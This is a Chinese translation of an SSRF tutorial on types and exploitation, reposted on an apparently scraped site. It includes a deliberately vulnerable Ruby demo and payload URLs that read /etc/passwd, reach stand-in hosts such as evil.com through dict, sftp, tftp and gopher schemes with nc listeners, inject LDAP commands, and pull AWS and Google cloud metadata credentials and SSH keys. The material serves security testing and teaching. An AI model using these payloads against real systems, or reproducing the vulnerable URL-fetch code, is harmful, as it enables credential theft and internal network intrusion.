COVA娱乐SSRF-服务器端请求伪造(类型和利用方法)第1部分_偃师民声网

COVA娱乐

(如果有错误,请忽略!)
首先重点!!
什么是SSRF?
SSRF是指攻击者从一个具有漏洞的web应用中发送的一个伪造的请求的攻击。
首先介绍一种简单的方式以—-攻击者要求服务器为他获取一个URL
例如

GET /?url=http://google.com/ HTTP/1.1 Host: example.com

在这里,example.com从它的服务器获取

目录

1.SSRF的类型
2.测试用例
3.绕过白名单和黑名单
4.实例

1.SSRF的类型
i. 显示对攻击者的响应(Basic)
ii.不显示响应(Blind)

i.Basic
如前所述,它显示对攻击者的响应,因此在服务器获取攻击者要求的URL后,它将把响应发送回攻击者。
DEMO(使用Ruby)。
安装以下包并运行代码
gem install sinatra

require 'sinatra' require 'open-uri'  get '/' do   format 'RESPONSE: %s', open(params[:url]).read end

上面的代码将打开本地服务器端口4567(取自Jobert的POST)

: 将打开联系人文件并在前端显示响应
: 将打开etc/passwd并响应服务
: 将在服务器上请求google.com并显示响应
我们可以用SSRF做些什么? -
SSRF到反射XSS
尝试利用URL访问内部资源并使服务器执行操作
(file:///, dict://, ftp://, gopher://..)
我们可以扫描内部网络和端口
如果它在云实例上运行,则尝试获取元数据
只需从具有内容类型为html的恶意payload的外部站点获取文件。
Example -
测试URL模式 -
当我们发现ssrf时,首先要做的是测试所有工作正常的包装器。

file:/// dict:// sftp:// ldap:// tftp:// gopher://

file:// -

File是用来从文件系统获取文件

http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果服务器阻止对外部站点或白名单的http请求,您可以简单地使用以下URL模式来发出请求:
dict:// -
DICT URL方案用于表示使用DICT协议可用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/  evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126) CLIENT libcurl 7.40.0

sftp:// -
Sftp代表SSH文件传输协议,或安全文件传输协议,是SSH的内含协议,在安全连接上与SSH类似。

http://example.com/ssrf.php?url=sftp://evil.com:1337/  evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146) SSH-2.0-libssh2_1.4.2

ldap:// or ldaps:// or ldapi:// -
LDAP代表轻量级目录访问协议。它是一种通过IP网络管理和访问分布式目录信息服务的应用协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp:// -
简单文件传输协议是一种简单的锁步文件传输协议,它允许客户端从远程主机获取文件或将文件放到远程主机上。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET  evil.com:# nc -lvup 1337 Listening on [0.0.0.0] (family 0, port 1337) TESTUDPPACKEToctettsize0blksize512timeout3

gopher:// -
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):- <?php    header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest'); ?>  evil.com:# nc -lvp 1337 Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398) Hi ssrf test

更多信息请参阅
扫描内部网络和端口 -
如果他们在局域网中运行某些服务器(Kibana,Elastic Search,MongoDB ......)会怎样
由于防火墙的限制,我们不能直接从互联网上访问。


我们使用SSRF访问它们。

攻击者运行内部IP和端口扫描,了解有关目标的更多信息,并将其用于进一步攻击。

这有时会导致远程代码执行。
比如 发现了一个内部主机,其运行了一个人尽皆知的具有RCE的过时软件,我们可以在这里使用它来执行代码,对于其他漏洞也是如此。

云实例

Amazon:
如果您在Amazon Cloud中发现SSRF,, Amazon将公开一个内部服务,每个EC2实例都可以查询关于主机的实例元数据。如果您发现在EC2上运行的SSRF漏洞,请尝试请求:

http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

这将为我们提供很丰富的信息,如Aws密钥、ssh密钥等
请参阅POC- ,
例如:-
PAYLOAD]

Google Cloud -
谷歌也一样。

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

进一步利用可能导致实例接管。
参阅
Digital Ocean -
关于元数据的
http://169.254.169.254/metadata/v1.json
对于其他云实例,您可以参考
./第1部分结束。

本文 https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978